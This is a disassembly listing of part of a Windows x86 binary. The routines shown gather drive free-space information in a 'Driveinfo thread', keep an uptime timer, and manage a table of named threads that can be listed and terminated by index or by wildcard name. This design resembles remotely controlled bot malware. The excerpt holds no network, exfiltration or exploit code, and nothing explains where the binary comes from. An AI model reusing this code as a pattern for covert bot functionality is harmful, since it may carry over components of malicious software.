		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0


loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h


loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: .data:00416A06p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E2A0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E2A0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E2A0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0	; GetTickCount
		sub	eax, dword_41E2A0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: .data:004168C6p
		push	ebp
		mov	ebp, esp
		and	dword_41E2C0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E2C8, eax
		push	offset dword_41E2A8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DE08, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DA80
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax


loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DE00
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E2C0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E2C0
		inc	eax
		mov	dword_41E2C0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	dword_4170A4	; CloseHandle


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
